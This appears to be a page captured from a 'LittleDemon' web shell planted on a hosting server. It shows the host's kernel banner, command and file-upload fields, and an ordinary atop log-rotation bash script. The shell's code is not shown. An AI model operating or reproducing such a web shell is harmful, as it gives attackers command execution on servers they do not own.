LittleDemon WebShell


Linux hosting5.siteguarding.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Path : /usr/local/bin/
File Upload :
Command :
Current File : //usr/local/bin/atop_rotation.sh

#!/bin/bash

# Set the directory where the logs are stored
log_dir="/var/log/atop"

# Get the current date in YYYY-MM-DD format
date=$(date +"%Y-%m-%d")

# Rename yesterday's log file with the current date
yesterday=$(date --date="yesterday" +"%Y-%m-%d")
mv "$log_dir/atop_$yesterday" "$log_dir/atop_$date"

# Kill the current atop process to force it to create a new log file
killall -SIGUSR2 atop

# Wait for atop to finish writing to the new log file
sleep 5

# Compress yesterday's log file
gzip "$log_dir/atop_$date"

LittleDemon - FACEBOOK
[ KELUAR ]